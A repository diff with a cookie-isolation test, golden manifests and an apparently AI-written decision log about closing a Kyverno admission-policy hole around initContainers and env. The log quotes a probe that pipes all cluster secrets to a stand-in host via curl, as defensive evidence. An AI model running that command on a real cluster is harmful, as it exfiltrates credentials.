+# ============================================================ (6) PROVE THE SHIPPED RENDERER
+# Once the tree is compliant, (1)-(4) have nothing left to catch and their passing is evidence
+# of nothing. This runs the SHIPPED renderer as a SUBPROCESS on two synthetic ServiceDefinitions
+# and asserts the property directly, so the guard stays falsifiable.
+def _sd(name: str, port: int) -> str:
+    return yaml.safe_dump({
+        "name": name,
+        "kind": "container",
+        "source": {"image": "example/app:1"},
+        "exposure": "internal",
+        "ingressRoutes": [{"host": f"{name}.home.keithjackson.dev", "port": port}],
+        "auth": {"mode": "forward-auth", "groups": ["platform-admins"]},
+    }, sort_keys=False)
+
+
+def _sidecar_args(rendered: str) -> list:
+    for doc in yaml.safe_load_all(rendered):
+        if not isinstance(doc, dict) or doc.get("kind") != "Deployment":
+            continue
+        for c in iter_containers(doc):
+            if c.get("name") == "oauth2-proxy":
+                return list(c.get("args") or [])
+    return []
+
+
+if render_py.is_file():
+    fixtures = {"cookiefixa": 8111, "cookiefixb": 8112}
+    rendered_args: dict[str, list] = {}
+    with tempfile.TemporaryDirectory() as td:
+        for svc, port in fixtures.items():
+            f = Path(td) / f"{svc}.yaml"
+            f.write_text(_sd(svc, port))
+            proc = subprocess.run([sys.executable, str(render_py), str(f)],
+                                  capture_output=True, text=True)
+            check(proc.returncode == 0,
+                  f"the shipped catalog/render.py failed on a synthetic forward-auth fixture "
+                  f"({svc}): rc={proc.returncode} {proc.stderr.strip()[:200]}")
+            if proc.returncode == 0:
+                rendered_args[svc] = _sidecar_args(proc.stdout)
+
+    names, domains = {}, {}
+    for svc, args in rendered_args.items():
+        names[svc] = flag_from_args(args, "cookie-name")
+        domains[svc] = flag_from_args(args, "cookie-domain")
+        check(bool(args),
+              f"the shipped renderer produced no oauth2-proxy sidecar for synthetic forward-auth "
+              f"fixture {svc} — the sidecar is how a forward-auth app is gated at all (R-IDP-02)")
+        check(names[svc] not in (None, DEFAULT_COOKIE_NAME),
+              f"the shipped renderer gave synthetic fixture {svc} the cookie name "
+              f"{names[svc]!r}. A newly-onboarded forward-auth app would therefore default "
+              f"straight into the fleet collision — which is exactly how five services acquired "
+              f"this defect without anyone making a decision")
+        check(domains[svc] == f"{svc}.home.keithjackson.dev",
+              f"the shipped renderer scoped synthetic fixture {svc}'s cookie to "
+              f"{domains[svc]!r} rather than to its own host — a newly-onboarded app would "
+              f"broadcast its session cookie across the whole zone")
+        check(any(isinstance(a, str) and a.startswith("--whitelist-domain=.") for a in args),
+              f"synthetic fixture {svc} lost its ZONE-WIDE --whitelist-domain. That flag governs "
+              f"permitted post-login REDIRECT targets, not cookie scope; narrowing it with the "
+              f"cookie domain breaks the sign-in bounce")
+
+    if len(rendered_args) == 2:
+        a, b = sorted(rendered_args)
+        check(names[a] != names[b],
+              f"the shipped renderer gave two DIFFERENT synthetic services the SAME cookie name "
+              f"({names[a]!r}). Whatever the committed goldens currently look like, the generator "
+              f"will collide every forward-auth app it renders from now on")
+        check(domains[a] != domains[b],
+              f"the shipped renderer gave two different synthetic services the same cookie domain "
+              f"({domains[a]!r}) — the cookies would share a scope even with distinct names")
+
+# ============================================================ VERDICT
+inv = " | ".join(f"{i['key']} -> {i['effective_name']} @ {i['cookie_domain'] or '<host>'}"
+                 for i in sorted(instances, key=lambda x: x["key"]))
+print(f"oauth2-proxy instances audited ({len(instances)}): {inv}")
+if FAILURES:
+    print(f"\nCHECK FAIL (oauth2-proxy-cookie-names-distinct): {len(FAILURES)} failed, "
+          f"{CHECKS - len(FAILURES)} passed", file=sys.stderr)
+    for f in FAILURES:
+        print(f"  FAIL {f}", file=sys.stderr)
+    raise SystemExit(1)
+print(f"check OK: oauth2-proxy-cookie-names-distinct — {CHECKS} assertions (R-IDP-02, R-IDP-06)")
+PY

conformance/tests/l1-rendering/container-workload-render/golden/expected.yaml

@@ -76,11 +76,14 @@ spec:
         - --allowed-group=platform-admins
         - --skip-provider-button=true
         - --redirect-url=https://paas-demo.home.keithjackson.dev/oauth2/callback
-        - --cookie-domain=.${BASE_DOMAIN}
+        - --cookie-name=_oauth2_proxy_paas-demo
+        - --cookie-domain=paas-demo.home.keithjackson.dev
         - --whitelist-domain=.${BASE_DOMAIN}
         - --cookie-secure=true
+        - --cookie-refresh=2m30s
         - --pass-access-token=true
         - --set-xauthrequest=true
+        - --metrics-address=0.0.0.0:44180
         env:
         - name: OAUTH2_PROXY_CLIENT_ID
           valueFrom:
@@ -101,6 +104,9 @@ spec:
         - name: http
           containerPort: 4180
           protocol: TCP
+        - name: metrics
+          containerPort: 44180
+          protocol: TCP
         resources:
           requests:
             cpu: 25m

conformance/tests/l1-rendering/egress-class-render/golden/egress-internet.expected.yaml

@@ -99,11 +99,14 @@ spec:
         - --allowed-group=media-admins
         - --skip-provider-button=true
         - --redirect-url=https://sonarr.home.keithjackson.dev/oauth2/callback
-        - --cookie-domain=.${BASE_DOMAIN}
+        - --cookie-name=_oauth2_proxy_sonarr
+        - --cookie-domain=sonarr.home.keithjackson.dev
         - --whitelist-domain=.${BASE_DOMAIN}
         - --cookie-secure=true
+        - --cookie-refresh=2m30s
         - --pass-access-token=true
         - --set-xauthrequest=true
+        - --metrics-address=0.0.0.0:44180
         env:
         - name: OAUTH2_PROXY_CLIENT_ID
           valueFrom:
@@ -124,6 +127,9 @@ spec:
         - name: http
           containerPort: 4180
           protocol: TCP
+        - name: metrics
+          containerPort: 44180
+          protocol: TCP
         resources:
           requests:
             cpu: 25m

conformance/tests/l1-rendering/egress-class-render/golden/egress-vpn.expected.yaml

@@ -99,11 +99,14 @@ spec:
         - --allowed-group=media-admins
         - --skip-provider-button=true
         - --redirect-url=https://sonarr.home.keithjackson.dev/oauth2/callback
-        - --cookie-domain=.${BASE_DOMAIN}
+        - --cookie-name=_oauth2_proxy_sonarr
+        - --cookie-domain=sonarr.home.keithjackson.dev
         - --whitelist-domain=.${BASE_DOMAIN}
         - --cookie-secure=true
+        - --cookie-refresh=2m30s
         - --pass-access-token=true
         - --set-xauthrequest=true
+        - --metrics-address=0.0.0.0:44180
         env:
         - name: OAUTH2_PROXY_CLIENT_ID
           valueFrom:
@@ -124,6 +127,9 @@ spec:
         - name: http
           containerPort: 4180
           protocol: TCP
+        - name: metrics
+          containerPort: 44180
+          protocol: TCP
         resources:
           requests:
             cpu: 25m

conformance/versions.env

@@ -6,6 +6,10 @@
 
 # Chainsaw — L1 rendering / L2 behavioral / L3 fault-injection runner (ADR-0011).
 CHAINSAW_VERSION="v0.2.12"
+# The UPSTREAM chainsaw image. It is NOT what the in-cluster Job runs — see
+# CONFORMANCE_RUNNER_IMAGE below. It carries the chainsaw binary and essentially nothing
+# else (no bash, no python3, no kubectl, no git), so `command: ["./run.sh"]` on this image
+# fails at exec. Kept only as the provenance of the chainsaw binary we rebuild from.
 CHAINSAW_IMAGE="ghcr.io/kyverno/chainsaw:v0.2.12"
 
 # kubectl — used by run.sh for cluster reachability preflight and by probe scripts.
@@ -18,3 +22,52 @@ KYVERNO_VERSION="v1.19.0"
 # Python 3 — coverage generator + JUnit emitter use stdlib only (no pip deps), so the
 # only constraint is a modern interpreter.
 PYTHON_MIN="3.9"
+
+# --- In-cluster conformance runner image -------------------------------------
+# Built from conformance/incluster/Containerfile by conformance/incluster/build-image.sh.
+# This — not CHAINSAW_IMAGE — is what the L2/L3 Job runs (bash + python3 + chainsaw +
+# kubectl + git). Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 item 1.
+#
+# It ALSO carries /usr/local/bin/conformance-clone (0755 root:root, no argument surface) as the
+# init container's only entrypoint. That is a security fixture, not a convenience: the
+# admission policy never reads `initContainers`, so an init container with an inline shell
+# script is currently admitted with the privileged runner SA. The policy rule that makes the
+# fixed path REQUIRED is not in this branch — see conformance/incluster/README.md.
+#
+# THE REPOSITORY PATH IS NOT A PREFERENCE. platform/kyverno/admission/
+# conformance-trigger-job-shape.yaml is a fail-closed Enforce ClusterPolicy (R-SEC-02) that
+# ADMITS a conformance-trigger Job only when its image matches
+#   gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*
+# Any other path, and any TAG reference, is DENIED at admission. Do not "tidy" these values.
+CONFORMANCE_RUNNER_IMAGE_REPO="gitea.home.keithjackson.dev/home-network/conformance-runner"
+# Build handle only. Admission never sees the tag; a Job must reference the digest.
+CONFORMANCE_RUNNER_IMAGE_TAG="chainsaw0.2.12-kubectl1.36.4-fc44"
+#
+# ############################################################################
+# # DIGEST DELIBERATELY EMPTY — THE IMAGE HAS NOT BEEN PUBLISHED YET.        #
+# ############################################################################
+# The image has been BUILT and its toolchain verified locally (non-root uid 65532,
+# read-only rootfs: bash 5.3.9, Python 3.14.7, git 2.55.0, kubectl v1.36.4, chainsaw 0.2.12,
+# and `./run.sh --layer l2 --no-cluster` completing with rc 0). It has NOT been pushed:
+# pushing needs a registry credential, and publishing the artifact a fail-closed security
+# boundary then trusts is an OPERATOR action, not an agent's.
+#
+# OPERATOR, to complete the pin:
+#   1. ./conformance/incluster/build-image.sh          # rebuild, verify, print the commands
+#   2. podman login gitea.home.keithjackson.dev
+#   3. podman push --digestfile /tmp/conformance-runner.digest \
+#        "${CONFORMANCE_RUNNER_IMAGE_REPO}:${CONFORMANCE_RUNNER_IMAGE_TAG}"
+#   4. Set CONFORMANCE_RUNNER_IMAGE_DIGEST below to `cat /tmp/conformance-runner.digest`
+#      — the digest the REGISTRY returned, not the local manifest digest the build printed.
+#   5. Land steps 4 in a PR (this file is GitOps input, not a live edit).
+#
+# UNTIL THEN: this is empty on purpose, NOT a placeholder to be guessed at. An empty value
+# makes any consumer that renders the Job fail visibly; a fake or stale digest would instead
+# produce an ImagePullBackOff that looks like a cluster fault. Do not invent one.
+CONFORMANCE_RUNNER_IMAGE_DIGEST=""
+CONFORMANCE_RUNNER_IMAGE="${CONFORMANCE_RUNNER_IMAGE_DIGEST:+${CONFORMANCE_RUNNER_IMAGE_REPO}@${CONFORMANCE_RUNNER_IMAGE_DIGEST}}"
+#
+# AFTERWARDS, TIGHTEN THE BOUNDARY: the header of conformance-trigger-job-shape.yaml asks for
+# its `@sha256:*` wildcard to be replaced with the LITERAL digest once the image exists —
+# that closes the residual "anyone who can push to this path" gap. Separate PR, human
+# reviewed, because it edits the security boundary itself.

decisions/2026-09-29-conformance-job-template.md

@@ -0,0 +1,401 @@
+---
+date: 2026-09-29
+branch: feat/conformance-job-template
+title: The conformance Job can run a named commit and get its results out — and the policy meant to bound it read only `containers`
+---
+
+## What changed
+
+Closes `docs/plans/l2-l3-conformance-ci-wiring.md` §3 items **2** (repo at the commit under
+test) and **3** (results collection with no exec channel). `conformance/incluster/chainsaw-job.yaml`
+was a skeleton whose `workspace` was an empty `emptyDir` with nothing to fill it; it is now a
+renderable run template. Along the way the admission policy that is supposed to bound that Job
+turned out to read `spec.template.spec.containers` and nothing else, and closing that took four
+more rules and moved the clone script out of the Job entirely.
+
+> **Note on where this entry lives.** This handoff was originally written as a ~400-line append
+> to the tail of `DECISIONS-LOG.md`. That append is what made PR #20 unmergeable — four of the
+> five open PRs collided on that one hunk. The prose below is the same content, moved to its own
+> file under `decisions/`; the archive is untouched.
+
+### The binding constraint, and how it was met
+
+`platform/kyverno/admission/conformance-trigger-job-shape.yaml` (Enforce, `failurePolicy: Fail`)
+admits **only `workspace` and `results`** as volume names. So the git credential could not be a
+Secret volume and the init container could not have a scratch volume:
+
+- **Credential:** env vars from `secretKeyRef` on Secret `conformance-git-readonly`
+  (`username`, `token`) — an env var is not a volume. By **name only**; no literal in the tree.
+  The token reaches `git` through an inline `credential.helper` that reads the environment, so it
+  never appears in argv (where `ps` and the Pod spec would show it) and is never written to disk.
+- **Writable scratch under `readOnlyRootFilesystem: true`:** `$TMPDIR=/workspace/tmp` and
+  `$HOME=/workspace/home`, i.e. directories **on** the `workspace` emptyDir. Not `subPath`
+  mounts — a kubelet-created subPath directory is root-owned 0755 and the non-root runner could
+  not write it.
+- **`results` could not be mounted at `conformance/_artifacts`:** that path sits inside the clone
+  target, and a directory mounted into it makes the target non-empty, so `git clone` refuses.
+  Hence `CONF_ARTIFACTS=/results` (new, honoured only when set).
+
+The init container shallow-clones, fetches the exact commit if the shallow tip lacks it, detaches
+onto it, and **asserts `HEAD` equals the requested SHA**. The SHA must match `^[0-9a-f]{40}$`, so
+an unrendered placeholder is a hard failure rather than a silent run of whatever the branch tip
+happened to be.
+
+### Results out of the Job with no exec channel
+
+The trigger identity has no `pods/exec` and cannot `kubectl cp`, and admission pins `command` to
+exactly `["./run.sh"]` — so nothing can wrap the suite to package artifacts afterwards. `run.sh`
+therefore does it itself, on an **EXIT trap** (a failed run still ships its red JUnit — that is
+the evidence the gate most needs), armed only by `CONF_EMIT_ARTIFACTS_TGZ=1`:
+
+    === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+    <base64 of the tgz, wrapped at 76 columns>
+    === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+
+`kubectl logs` is a lossy channel (`--tail`, a rotated CRI log, a dropped watch), and base64
+decodes a truncated stream to plausible garbage without complaint. So size, base64 line count and
+digest appear in **both** markers and the collector owes five checks, each documented above the
+function.
+
+### THE FINDING: the admission boundary did not look at `initContainers`
+
+Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's `containers[0].args`)
+or `volumes` (rule 2). **`initContainers` was never examined**, and neither were
+`ephemeralContainers` or `env`. So the precise escalation the policy exists to stop — the
+privileged `conformance-runner` SA running an arbitrary command, because Kubernetes places no
+`use` check on `serviceAccountName` — was reachable one field over. This predated this branch: the
+gap was there when the policy shipped in PR #13, and a Job with no init container at all could
+already have carried one.
+
+It was **initially left unfixed, deliberately** — a security boundary changes in its own reviewed
+PR, not smuggled in beside the Job that has to satisfy it. The coordinator then reproduced the
+finding independently and **reversed that instruction explicitly**, on the grounds that the ban
+existed to stop the boundary being *bent to fit a Job*, not to stop a hole being closed. So the
+policy gained four rules in this branch:
+
+- **`trigger-initcontainers-must-be-the-committed-clone-step`** — at most ONE initContainer; it
+  must be on the digest-pinned `conformance-runner` image, `command:
+  ["/usr/local/bin/conformance-clone"]`, **no `args`**, non-root, `allowPrivilegeEscalation:
+  false`, not privileged.
+- **`trigger-may-not-declare-ephemeral-containers`** — the third container list. See the honesty
+  note under "What I did NOT verify".
+- **`trigger-env-names-must-be-the-committed-set`** — runner container: `CONF_ARTIFACTS`,
+  `CONF_EMIT_ARTIFACTS_TGZ`, `TMPDIR`, `HOME`. Clone init container: `CONFORMANCE_GIT_SHA`,
+  `CONFORMANCE_REPO_URL`, `CONFORMANCE_SRC`, `GITEA_USERNAME`, `GITEA_TOKEN`, `TMPDIR`, `HOME`.
+  `command` is pinned, so injection moves to whatever adjacent field nobody enumerated, and
+  **`BASH_ENV` alone is arbitrary code execution** — bash sources it before running a
+  non-interactive script, and the runner's command IS a bash script. The init list iterates
+  `initContainers[].env[]` flattened, so it keeps working if the at-most-one cap is ever relaxed.
+- **`trigger-may-not-use-envfrom`** — `envFrom` injects a whole ConfigMap/Secret whose KEYS are
+  nowhere in the Job, which would make the allowlist above unenforceable by inspection.
+
+All four use `deny` conditions, not a `pattern`. A Kyverno array `pattern` asserts "**at least
+one** element matches", so a pattern-based init rule would have admitted the committed clone step
+**plus** an arbitrary second init container — the same hole rule 2's own comment describes for
+volumes. `second-initcontainer` is a fixture precisely because I nearly wrote it that way.
+
+**Deliberately NOT constrained:** env *values*, and which Secret a `valueFrom` reads. Values are
+legitimately environment-specific, and `conformance-runner` can already read this namespace's
+Secrets through its own RBAC, so pinning the source Secret buys nothing. Names are the vector that
+matters, because a name is what a program keys behaviour on. Constraining env *values* remains
+undone.
+
+### The clone script left the Job — that is the actual fix
+
+Pinning `command` is worthless if the command is `/bin/bash -c` and the script arrives as `args`:
+a policy cannot distinguish the committed script from an attacker's, because both are just data.
+The logic now lives in the runner image at `/usr/local/bin/conformance-clone` (mode 0755 — added
+to plan §5 step 1 as a hard requirement), sourced from `conformance/incluster/conformance-clone`,
+which **agent 1 ships in PR #18**. The Job's init container is now `command` + `env` and nothing
+else.
+
+I had written a second copy of that script here (`conformance/incluster/conformance-clone.sh`) and
+**deleted it**: two copies of the clone entrypoint in one directory, one baked into the image and
+one not, is a guaranteed drift into "the reviewed file is not the file that runs". I read agent
+1's version before deleting mine rather than assuming compatibility, and the interface my Job
+depends on matches exactly: env `CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`; baked clone
+target `/workspace/src` (which is what makes my `workingDir: /workspace/src/conformance` correct);
+`TMPDIR`/`HOME` required to be under `/workspace`; and both load-bearing guards preserved — the
+`^[0-9a-f]{40}$` SHA guard and the `rev-parse HEAD == SHA` assertion. Theirs is a superset: it also
+hard-fails a `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` that disagrees with the baked values, rather
+than honouring it.
+
+**One thing that changed while moving it, and it matters:** the repository URL is **hardcoded in
+the script** instead of passed as `CONFORMANCE_REPO_URL` env. The policy pins `command` but says
+nothing about env *values*. Had the URL stayed live in env, a trigger could point the clone at a
+repository it controls and have `containers[0]` execute that repo's `./run.sh` as
+`conformance-runner` — the same escalation, laundered through a field nobody constrains. **Do not
+move that URL back into env.** Worth recording that agent 1 reached the hardcoded-URL conclusion
+**independently and against an instruction to read those values from env** — an instruction the
+coordinator then retracted. Two agents finding the same "the policy doesn't read this field, so
+trusting it just moves the injection" reasoning in one afternoon is the signal that the
+field-enumeration gap was systemic, not a one-off.
+
+### The committed `args` default was a shape that cannot run
+
+Agent 1 measured that `--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the
+runner image: it deliberately ships no flux/promtool/kyverno/kustomize, and `run.sh` runs its
+offline L0/L1 stages first for any selection that is not offline-only. I traced `run.sh` to state
+the invariant precisely rather than repeat the symptom — `requirement_scoped_dirs()` is
+layer-bounded **only when `--layer` is given and is not `all`**, and `offline_selected_dirs()` then
+filters to `/l0-static/|/l1-rendering/`:
+
+| args | offline selection | verdict |
+|---|---|---|
+| `--layer l2,l3` | empty | **RUNS** |
+| `--layer l2,l3 --requirements R-NET-01` | intersected to L2/L3 | **RUNS** |
+| `--layer l2,l3 --include-scope whole-repo` | scope union is *also* layer-bounded | **RUNS** |
+| `--requirements R-NET-01` (no `--layer`) | that requirement's L0/L1 tests | **FAILS** |
+| `--layer all --strict-coverage` | every L0/L1 test | **FAILS** |
+
+So `--layer` is mandatory and must name only l2/l3. **The committed default was `--layer all
+--strict-coverage` — one of the broken shapes — and is now `--layer l2,l3`.** More importantly:
+**the plan's "PHASE EXIT: `--layer all`" invocation cannot run in-cluster at all.** A full-suite
+run is CI's L0/L1 plus this Job's L2/L3, not this Job alone. That correction is in the manifest
+header and still needs to land in `ci/conformance.sh` (plan §3 item 4).
+
+I did **not** narrow the policy's `args` allowlist to match. A security boundary should not encode
+which toolchain an image happens to ship, and the failure mode of an allowed-but-unrunnable shape
+is a loud non-zero run, not an escalation. Said so in the header so the next reader knows it was
+considered rather than missed.
+
+## What I verified
+
+### Admission, proven with the pinned CLI rather than assumed
+
+kyverno **v1.19.0** in the pinned toolbox, `kyverno apply` against the *rendered* template:
+
+    ##### the real rendered template MUST PASS
+    Applying 7 policy rule(s) to 1 resource(s)...
+    pass: 7, fail: 0, warn: 0, error: 0, skip: 0
+
+    ##### the coordinator's exact initContainer probe MUST FAIL
+    1 - trigger-initcontainers-must-be-the-committed-clone-step validation failure: ...
+    pass: 6, fail: 1, warn: 0, error: 0, skip: 0
+
+    ##### same escalation via ephemeralContainers MUST FAIL
+    1 - trigger-may-not-declare-ephemeral-containers ...
+    pass: 6, fail: 1, warn: 0, error: 0, skip: 0
+
+The pre-fix measurements that produced the finding, taken the same way with `containers[0]` fully
+compliant and `serviceAccountName: conformance-runner`:
+
+- a `privileged: true` `docker.io/library/alpine:latest` initContainer running
+  `kubectl get secrets -A` → `pass: 3, fail: 0` — **ADMITTED**
+- the committed template with **only** the init container's `args` swapped for
+  `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`
+  → `pass: 3, fail: 0` — **ADMITTED**
+
+Negative controls on the same rendered template, showing the original rules do bite where they
+look: adding a third volume → `trigger-volumes-must-be-workspace-or-results` fails; wrapping
+`command` in `/bin/sh -c` → `trigger-may-create-only-the-committed-conformance-run` fails at
+`/spec/template/spec/containers/0/command/`.
+
+Full fixture matrix from `kyverno apply --policy-report` — **65 pass / 13 fail / 0 error / 0 skip**:
+
+| resource | creat | vols | args | init | ephem | envnm | envfr |
+|---|---|---|---|---|---|---|---|
+| `real-template` | pass | pass | pass | pass | pass | pass | pass |
+| `good-run` | pass | pass | pass | — | pass | — | pass |
+| `evil-command` | **fail** | pass | — | — | pass | — | pass |
+| `evil-image` | **fail** | pass | — | — | pass | — | pass |
+| `tag-not-digest` | **fail** | pass | — | — | pass | — | pass |
+| `host-namespaces` | **fail** | pass | — | — | pass | — | pass |
+| `extra-volume` | pass | **fail** | — | — | pass | — | pass |
+| `injected-args` | pass | pass | **fail** | — | pass | — | pass |
+| `evil-initcontainer` | pass | pass | pass | **fail** | pass | — | pass |
+| `initcontainer-with-args` | pass | pass | pass | **fail** | pass | — | pass |
+| `second-initcontainer` | pass | pass | pass | **fail** | pass | — | pass |
+| `evil-ephemeral-container` | pass | pass | pass | — | **fail** | — | pass |
+| `injected-env` | pass | pass | pass | — | pass | **fail** | pass |
+| `injected-initcontainer-env` | pass | pass | pass | pass | pass | **fail** | pass |
+| `envfrom-whole-secret` | pass | pass | pass | — | pass | — | **fail** |
+
+`—` is "no result", not a pass: a `foreach` over an absent list emits nothing. Every `evil-*`
+init/ephemeral/env case **passes the three original rules** — that is the whole finding in one
+column, and it is why the fixtures are worth more than the rules' prose.
+`injected-initcontainer-env` is the row worth staring at: it **passes** the initContainer rule —
+correct image, correct pinned command, no args, non-root — and is hostile purely through `env`.
+That is why env had to be its own rule and not a condition bolted onto the init rule.
+
+The rendered template is now a fixture (`real-template` in
+`platform/kyverno/tests/conformance-trigger/resources.yaml`), so a template that drifts out of
+admission fails `make -C ci l0` instead of failing at 2am.
+
+### How strong that evidence is — the `kyverno test` load trap
+
+`ci/l0.sh` records, and this branch is downstream of, the lesson that **`kyverno test` exits 0 and
+prints "N tests passed" even when a policy FAILS TO LOAD** — every row becomes `Skip / Invalid
+Policy`. That trap was measured *while authoring this very policy*: a `subjects` block in a
+separate `match.all` entry from its `resources` gave 9 rows of `Skip / Invalid Policy` and
+`Test Summary: 9 tests passed and 0 tests failed`.
+
+So the proofs above are deliberately quoted from **`kyverno apply`**, whose report carries explicit
+`error:` and `skip:` counts, and those counts are `0` in every run cited. A green `kyverno test`
+alone — or the green `l0` line in the gate below — would **not** on its own establish that these
+rules loaded; `ci/l0.sh` greps the output for `Invalid Policy` for exactly that reason. Read the
+`error: 0, skip: 0` in the numbers above, not the exit code.
+
+Two further limits on what a CLI pass proves:
+
+- **`kyverno apply` evaluates these rules with or without `--userinfo`** — the extra-volume control
+  fails either way. A CLI pass is evidence about the *patterns*, **not** about the `subjects`
+  filter that decides whether the rules apply at all. The claim in `kyverno-test.yaml`'s header
+  that userinfo is what makes the cases non-trivial holds for `kyverno test`, not for
+  `kyverno apply`.
+- Nothing here was evaluated by a real API server. This is CLI evaluation of a manifest, not
+  admission in the cluster.
+
+### Two Kyverno traps, both of which silently invert the result
+
+Both are now commented in the rules:
+
+- **`not_null(x, `default`)`, never `||`.** JMESPath treats `false` as falsy, so
+  ``element.securityContext.allowPrivilegeEscalation || `true` `` rewrites the **compliant** value
+  `false` into `true` and denies every good Job.
+- **`join(' ', command)` compared as a string**, not the array compared with `Equals`. Kyverno's
+  `Equals`/`NotEquals` are not dependable on arrays, and an element-wise match would let
+  `["/bin/sh","-c",…]` through on element 0.
+
+### The results envelope
+
+**Verified locally, not asserted:** full decode round-trips to a valid tar; tail-truncation and
+head-truncation fail check 1; a dropped interior line fails check 3; one corrupted character fails
+check 5. Exit-code preservation through the EXIT trap was tested for 0, an explicit `exit 3`, and a
+`set -e` abort — the envelope's `rc=` matched the process rc in all three. **The envelope is
+verified; its transport over `kubectl logs` from a real Pod is not.**
+
+### Gate
+
+Toolbox only (`DEV_KUBECONFIG=/dev/null` + an `ENGINE` shim bind-mounting the main checkout's
+`.git`, per CLAUDE.md §3):
+
+    diff base: origin/main @ c59fe9f923c4 ... HEAD @ <this branch>
+    touched requirements: R-NET-01 R-SEC-01 R-TEST-01 R-TEST-02 R-TEST-03 R-TEST-04 R-TLS-02
+    spec-immutability: green
+    decisions-log: green   (archive frozen, sha256 matches decisions/ARCHIVE.sha256;
+                            2 entries well-formed — this one included)
+    lint: green            (404 files)
+    l0: green              (kyverno test passed, no 'Invalid Policy'; 19 offline cases,
+                            0 failures, 0 skips, 0 unwired)
+    render-golden: green   (10 onboarded service goldens reproduce)
+    l1: green              (3 offline L0/L1 checks, 0 failures, 0 skips, 0 unwired)
+    gitea-settings: SKIPPED (SETTINGS_API_TOKEN not set — unwired repo-wide)
+    conformance L2/L3: SKIPPED (CLUSTER_AVAILABLE != true)
+    MERGE GATE: UNDETERMINED — greenness was NOT ESTABLISHED
+      Stages that did not run: gitea-settings
+    rc 3
+
+Nothing FAILED. **rc 3 is UNDETERMINED, not green** — `gitea-settings` did not run, so this run
+says nothing about Gitea's branch protection or runner registration, and the seven touched
+requirements above are explicitly *not certified* at L2/L3. `gate.yml` tolerates rc 3, which is
+itself a fail-open surface recorded elsewhere. The branch was rebased onto `main` at `c59fe9f`, i.e. **after** PR #24
+merged, so `ci/decisions-log.sh` is in the base and did run: it reports the archive frozen
+(`DECISIONS-LOG.md` sha256 matches `decisions/ARCHIVE.sha256`) and both `decisions/` entries
+well-formed. This entry's format is therefore checked by the stage that enforces it, not only by
+eye — though that stage checks *structure*, never whether any claim inside it is true.
+
+### The `approval-policy` check this PR was expected to fail does not exist
+
+I was briefed to expect CI to FAIL on an `approval-policy` check because `conformance/**` is
+security-relevant. **That check does not exist.** Measured rather than assumed:
+
+    grep -rn approval .gitea/workflows/     ->  no match
+    GET /repos/.../branches/main
+      protected                    True
+      user_can_push                False
+      enable_status_check          True
+      status_check_contexts        ['gate / gate (pull_request)']
+      required_approvals           1
+    GET /repos/.../commits/<head>/statuses
+      success   gate / gate (pull_request)          Successful in 1m36s
+      pending   gate / conformance (pull_request)   Blocked by required conditions
+
+The **only** required context is `gate / gate`, and it was GREEN at 1m36s — it genuinely ran, so
+that particular green is not the skipped-Gitea-job-reports-success trap. There is **no path-based
+approval policy in CI anywhere in this repo.** What actually stops this merging is
+`required_approvals: 1` plus the fact that `gitea-admin` authors every agent PR and cannot
+self-approve — the same control that returned HTTP 405 on PR #12. `gate / conformance` is "Blocked
+by required conditions", i.e. the `CLUSTER_AVAILABLE` guard, unchanged.
+
+**Consequence worth acting on:** a change under `conformance/**` — including a change to the
+admission boundary itself — is gated by a *generic* human approval, not by anything that knows the
+path is security-relevant. If the intent is "security-relevant paths get a stricter review", that
+policy is not implemented anywhere in this repo. `CODEOWNERS`-style path review or a
+`paths:`-scoped required check would be the mechanism; neither exists today.
+
+The PR was **not merged** and nothing was worked around.
+
+### Process note, worth more than the policy fix
+
+Both halves of the security finding came from **probing rather than reading**. The hole was not
+visible in the policy's prose — which is careful, accurate about what it *does* constrain, and
+explicit that it is "THE SECURITY BOUNDARY" — only in what the CLI did with a tampered resource. A
+policy is only as trustworthy as its negative fixtures.
+
+### Addendum — rebased onto `main` after #18 landed (2026-09-29)
+
+This branch originally appended its handoff to `DECISIONS-LOG.md`, which is why it was
+`mergeable: false`: every branch appended to that file's same last hunk. The append is now this
+file (see `decisions/README.md`).
+
+The rebase onto post-#18 `main` hit one real content conflict — `conformance/incluster/README.md`,
+where #18 and this branch had each rewritten the same bullet list. Resolved by keeping #18's
+`Containerfile` / `conformance-clone` / `build-image.sh` bullets and this branch's
+`chainsaw-job.yaml` bullet, since this branch is what makes the Job a rendered run template.
+
+One of #18's paragraphs had to be **rewritten rather than kept**: its `conformance-clone` bullet
+carried a blockquote saying *"This file is half a fix … a 4th policy rule demanding `command:
+["/usr/local/bin/conformance-clone"]` with no `args` … is **not** in this branch."* That rule **is**
+in this branch — `trigger-initcontainers-must-be-the-committed-clone-step`, plus the
+`ephemeralContainers` and `env`/`envFrom` rules beside it. Leaving #18's wording would have left
+`main` documenting an open hole that had just been closed, which is the same
+documentation-disagrees-with-mechanism failure this repo keeps hitting. No code changed in the
+rebase: every file but that README is byte-identical to the pre-rebase tip.
+
+## What I did NOT verify
+
+- **Nothing here has ever executed against a cluster.** The `conformance-runner` image does not
+  exist (plan §3 item 1), so the Job cannot be submitted, and the init container's
+  clone/fetch/assert sequence, the credential helper and the envelope-over-`kubectl-logs` path are
+  all **unexercised**. The envelope itself is verified; its transport is not.
+- **PR #18 has since merged** (`cac5c9f`), so `/usr/local/bin/conformance-clone` and the image are
+  now on `main` and this branch was rebased onto them. What that changes is only *availability*:
+  if the path were missing or named differently the init container would fail to start, and if the
+  image is not the pinned digest admission denies the Job. **Neither has been exercised** — no
+  image has been built or pushed, so the digest this branch pins still resolves to nothing.
+- **Secret `conformance-git-readonly` does not exist** (plan §3 item 6, operator action). Only its
+  name is referenced here.
+- **`uid 65532`** is asserted by the Job's `runAsUser`/`fsGroup`; the image that must provide it has
+  not been built. If the Containerfile picks a different uid, the Job will not start.
+- **Whether Gitea's `uploadpack` accepts `fetch origin <sha>` for a non-tip commit was not tested;**
+  the shallow-clone-then-fetch fallback assumes it does. If it does not, the `HEAD == SHA`
+  assertion turns that into a loud failure rather than a wrong-tree run.
+- **Whether the API server accepts `ephemeralContainers` inside a Job's pod template at all.**
